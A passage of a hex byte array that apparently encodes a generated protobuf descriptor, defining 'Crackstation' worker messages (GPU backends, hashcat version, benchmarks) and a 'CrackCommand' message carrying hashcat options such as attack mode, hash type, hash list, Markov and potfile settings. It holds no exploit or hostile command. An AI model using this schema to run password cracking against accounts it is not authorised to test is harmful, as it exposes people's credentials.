0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, - 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, - 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, - 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, - 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, - 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, - 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, - 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, - 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, - 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, - 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, - 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, - 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, - 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, - 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, - 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, - 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, - 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, - 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, - 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, - 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, - 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, - 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, - 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, - 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, - 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, - 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, - 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, - 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, - 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, - 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, - 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, - 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, - 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, - 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, - 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, - 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, - 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, - 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, - 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, - 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, - 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, - 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, - 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, - 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, - 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, - 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, - 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, - 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, - 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, - 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, - 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, - 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, - 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, - 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, - 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, - 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 